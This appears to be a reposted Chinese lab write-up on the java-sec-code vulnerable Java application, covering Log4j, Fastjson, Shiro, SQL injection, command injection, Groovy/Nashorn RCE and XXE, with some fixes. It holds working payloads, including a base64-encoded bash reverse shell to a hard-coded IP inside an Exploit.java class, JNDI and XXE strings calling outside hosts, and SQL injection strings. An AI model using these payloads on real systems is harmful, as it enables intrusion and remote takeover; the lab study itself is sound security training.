Java-sec-code靶场分析练习
文章介绍了一个Java安全编码项目,展示了如何搭建开发环境并分析常见安全漏洞。主要内容包括Log4j远程代码执行漏洞利用过程及失败原因分析;Fastjson反序列化漏洞检测与利用;Shiro反序列化漏洞验证;SQL注入攻击方式及防御建议;命令执行漏洞利用及修复方法等。文章还提供了相关Poc代码和修复建议。 2025-3-31 07:10:11 Author: www.freebuf.com(查看原文) 阅读量:89 收藏

环境搭建

mysql8.0

java1.8

maven3.9

采用IDEA搭建

访问本地8080端口(admin/admin123)

1742280778_67d9184a61dd1cdc84734.png!small?1742280778702

点击登录之后没反应,查看网络请求发现请求远程jquery.min.js报502错误了

替换成以下就可以正常登录了

https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js

1742390589_67dac53d681a8a748c123.png!small

漏洞分析

log4j

看一下controller层的log4j文件,使用logger.error记录token值。

1742281044_67d9195471aedc2ccfbe3.png!small?1742281044781

我们直接来访问http://localhost:8080/log4j?token=${jndi:ldap://ktrpaedmrm.zaza.eu.org}会报400

查看服务端日志发现,因为包含非法字符触发报错,于是我们对特殊字符进行url编码,成功返回200

1742281286_67d91a462feee8a323c01.png!small?1742281286467

1742281306_67d91a5acb58617192293.png!small?1742281306863

进一步利用待补充;

先生成反弹shell命令

bash -i >& /dev/tcp/189.1.226.116/8989 0>&1

进行base64编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}

开始编写Exploit.java

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

然后我们把Exploit.java编译为Exploit.class

1742285554_67d92af209a9d987ed8f6.png!small?1742285554864

先将编译好的恶意类部署到python的web服务上,再启动ldap服务,开启反弹端口监听。

最后发现无法远程调用。。。。。。应该是不允许加载类,试了很多方法没有成功反弹shell,可以请求到ladp服务,但是没有执行恶意的类文件

1742298540_67d95dacc164d8c22fd33.png!small?1742298540935

查了资料发现自Java 8u191+起,默认禁用远程类加载,系统属性com.sun.jndi.ldap.object.trustURLCodebase设置为 false,直接阻止从LDAP/RMI服务加载远程类。

我的是java1.8.0_202   !!!

1742302153_67d96bc9211082540b3f7.png!small?1742302153036

最后还可以全局查找logger.看其他地方是否也存在也CVE-2021-44228漏洞

Fastjson

这篇文章不错Fastjson全版本检测及利用-Poc.md

项目引用了1.2.24版本的fastjson,只要<=1.2.24 版本autoType 默认开启,且没有严格的黑名单限制

1742281469_67d91afd65d92ef88fcfb.png!small?1742281469557

进行审计时可以通过搜索以下关键词来快速寻找可能存在的漏洞点

代码搜索关键词

    • JSON.parse
    • JSON.parseObject
    • @type(JSON中的类名指定字段)
    • Feature.SupportNonPublicField

通过post方法请求/fastjson/deserialize路径,传输application/json格式数据

1742283368_67d922682e90087e42730.png!small?1742283368579

于是可以利用dnslog进行验证

{

"@type":"java.net.Inet4Address",

"val":"k74n3o.ceye.io"

}

返回200成功收到dnslog响应1742283528_67d92308616a1c6b48211.png!small?1742283528396

1742283483_67d922db89ace583aa2b3.png!small?1742283483964

进一步利用待补充:

对于JDK版本11.0.1、8u191、7u201、6u211及以上,RMI和LDAP的trustURLCodebase已经被限制,但是还存在绕过方法

  1. 使用受害者本地的类作为恶意Reference Factory攻击RMI
  2. 利用LDAP返回序列化数据触发Gadget

Shiro

引入shiro1.2.4依赖,存在漏洞

1742283676_67d9239c9edf454c74b33.png!small?1742283676711

访问/shiro/deserialize,提示No rememberMe cookie. Right?

1742283817_67d92429b9e5858495c52.png!small?1742283817761

在请求包中cookie字段添加;rememberMe=true ,即可验证存在

1742284025_67d924f902561f15f8883.png!small?1742284025276

接下来直接工具梭哈

1742284468_67d926b46a9d8d88b799e.png!small?1742284468459

提示执行失败换一个回显模式就行了

1742284455_67d926a76ad9b176d907f.png!small?1742284456031

换成TomcatEcho回显就正常了

1742284540_67d926fc4511252d0c1c9.png!small?1742284540573

需要注意的是进行利用时,服务端会抛出很多异常

1742284897_67d928615ae6d60d326dc.png!small?1742284897537

---------------------------------------------------------------------------------------------------------------

CmdInject

windows部署需要修改源代码

1742305673_67d9798992624f99760d7.png!small?1742305673724

http://localhost:8080/codeinject?filepath=%7Cwhoami(使用|来执行多条命令)

1742390657_67dac581d6a9d1ed2d8be.png!small?1742390658667

host头注入在Tomcat7.9以上不支持请求链接有特殊字符, 否则报400

/codeinject/sec

调用SecurityUtil.cmdFilter()对输入的filepath进行过滤

1742391415_67dac87739e15c6bbb87d.png!small?1742391414905

只允许

"^[a-zA-Z0-9_/\\.-]+$"

1742458068_67dbccd42a085513eb1fa.png!small?1742458067955

sqli

/sqli/mybatis/vuln01和/jdbc/vuln都是没有过滤直接拼接

/jdbc/sec采用预编译,自动进行了转义

String sql = "select * from users where username = ?";
            PreparedStatement st = con.prepareStatement(sql);
            st.setString(1, username);

/jdbc/ps/vuln

这个接口虽然使用了prepareStatement但是仍然采用直接拼接的方法,没什么好说的

@RequestMapping("/jdbc/ps/vuln")
    public String jdbc_ps_vuln(@RequestParam("username") String username) {

        StringBuilder result = new StringBuilder();
        try {
            Class.forName(driver);
            Connection con = DriverManager.getConnection(url, user, password);

            if (!con.isClosed())
                System.out.println("Connecting to Database successfully.");

            String sql = "select * from users where username = '" + username + "'";
            PreparedStatement st = con.prepareStatement(sql);

正确用法应该采用占位符

// 正确使用范式 
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement st = con.prepareStatement(sql); 
st.setString(1,  username);  // 参数绑定 

/mybatis/vuln02

在UserMapper.xml文件里可以看到使用like进行模糊查询

<select id="findByUserNameVuln02" parameterType="String" resultMap="User">
        select * from users where username like '%${_parameter}%'
    </select>

所以构造' or 1=1-- 即可

1742459813_67dbd3a5eee53600dc225.png!small?1742459813809

1742459824_67dbd3b0ae374e1fd984b.png!small?1742459824858

/mybatis/vuln03

采用order by语句直接使用${}会造成sql注入

<select id="findByUserNameVuln03" parameterType="String" resultMap="User">
        select * from users
        <if test="order != null">
            order by ${order} asc
        </if>
    </select>

------------------------------------------------------------------------------------------------------------------

order by利用方式

  • 数字越界报错
    输入超过表字段数的数字会触发错误,用于探测表的列数。
    ORDER BY 5 -- 若表仅4列,则报错:Unknown column '5' in 'order clause'
  • 盲注探测列名
    通过布尔条件判断字段是否存在(如 IF()结合排序结果差异)。
    ORDER BY IF(database()='test', 1, (SELECT 1 UNION SELECT 2)) -- 若数据库名为test,正常排序,否则报错

    2. 复合语句注入

  • 布尔注入(IF()或 CASE
    利用条件语句改变排序结果,根据页面差异推断数据。

    ORDER BY IF(SUBSTRING(database(),1,1)='a', 1, 2) -- 首字母为a时按第1列排序,否则按第2列
  • 延时注入(SLEEP()
    通过延时响应判断条件真假。
    ORDER BY IF(1=1, SLEEP(2), 1) -- 条件为真时触发延时

3. 报错注入

  • 利用无效表达式
    强制触发数据库错误以泄露信息。
    ORDER BY (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2)) x FROM information_schema.tables  GROUP BY x) y)

关键限制与注意事项

  1. 无法直接联合查询(UNION
    • 原因ORDER BY必须位于 SQL 语句末尾,UNION后的查询无法附加 ORDER BY
      SELECT * FROM users UNION SELECT * FROM passwords ORDER BY 1; -- 语法错误
    • 绕过方案:通过子查询或分步注入间接利用。
  2. 数字范围限制
    • 数字必须介于 1 到查询结果的列数之间,否则报错。
  3. 复合语句的数据库兼容性
    • IF()和 CASE是 MySQL 语法,其他数据库(如 Oracle、PostgreSQL)需调整语法。

------------------------------------------------------------------------------------------------------------------


这里使用报错注入,还可以盲注

/sqli/mybatis/orderby/vuln03?sort=id AND GTID_SUBSET(CONCAT(database(),(SELECT (ELT(5207=5207,1))),0x7162786a71),5207)

  1. id:是原本的排序字段,正常情况下的ORDER BY子句可能类似于ORDER BY id。
  2. AND:这里被用来引入额外的SQL条件,试图改变查询的逻辑。
  3. GTID_SUBSET():这是MySQL的一个函数,用于检查全局事务标识符(GTID)是否在子集中。但在这里被滥用来执行子查询。
  4. CONCAT():用于连接字符串,用于构造特定的payload。
  5. 0x7170706b71和0x7162786a71:这些是十六进制字符串,解码后是某些特定字符,用于混淆或绕过检测。(这两个字符串可以换成我们想要执行的函数)
  6. ELT(5207=5207,1):ELT函数返回第n个元素,这里5207=5207总为真,所以返回第一个元素,即1。
  7. 5207:作为GTID_SUBSET的第二个参数。

1742462266_67dbdd3aaaa08894a4df1.png!small?1742462266828

RCE

/rce/runtime/exec

1742471359_67dc00bf9a626b842f837.png!small?1742471359564

/rce/ProcessBuilder

linux环境下可以执行

@GetMapping("/ProcessBuilder")
    public String processBuilder(String cmd) {

        StringBuilder sb = new StringBuilder();

        try {
            String[] arrCmd = {"/bin/sh", "-c", cmd};
            ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
            Process p = processBuilder.start();
            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String tmpStr;

            while ((tmpStr = inBr.readLine()) != null) {
                sb.append(tmpStr);
            }
        } catch (Exception e) {
            return e.toString();
        }

        return sb.toString();
    }
/rce/jscmd

1742473417_67dc08c93a9b8b8a16e5d.png!small?1742473417094

调用远程js,要用Nashorn的JS来调用Java类。例如,使用Java.type 获取Runtime类,然后调用exec方法执行

// test.js  修正版 
(function() {
    // 正确引用Java类 
    var System = Java.type("java.lang.System"); 
    
    // 执行系统命令(Windows示例)
    var Runtime = Java.type("java.lang.Runtime"); 
    Runtime.getRuntime().exec("calc.exe"); 
    
    // 返回执行结果 
    return "Command executed: " + System.getProperty("os.name"); 
})();

请求以上js,即可执行命令

1742473538_67dc0942b94087bff7ab6.png!small?1742473538636

/rce/vuln/yarm

一直报错,后续我会单独出一期snakeyaml反序列化漏洞的分析与复现

1742477665_67dc19613221765a3783c.png!small?1742477665171

安全写法使用安全构造器限制(SafeConstructor

  • 作用原理
    ✅ 禁用所有自定义类标签解析(如!!javax.script.ScriptEngineManager
    ✅ 仅允许基础数据类型(字符串、数字等)和简单集合(List/Map)的反序列化
    ✅ 阻止URLClassLoaderProcessBuilder等高危类的实例化

Groovy RCE 漏洞

@GetMapping("groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}

使用 Groovy 的 execute()方法执行命令

http://localhost:8080/rce/groovy?content="calc".execute()

1742479427_67dc2043bfca7a05abef5.png!small?1742479427710

xxe

/xmlReader/vuln

此处是一个无回显的xxe,使用dnslog进行验证

@PostMapping("/xmlReader/vuln")
    public String xmlReaderVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
            XMLReader xmlReader = XMLReaderFactory.createXMLReader();
            xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
            return "xmlReader xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }

poc

Content-Type: application/xml

<!DOCTYPE root [  
  <!ENTITY xxe SYSTEM "http://0e3fa97c.log.dnslog.sbs">  
]>  
<root>&xxe;</root>

文章来源: https://www.freebuf.com/articles/web/424918.html
如有侵权请联系:admin#unsafe.sh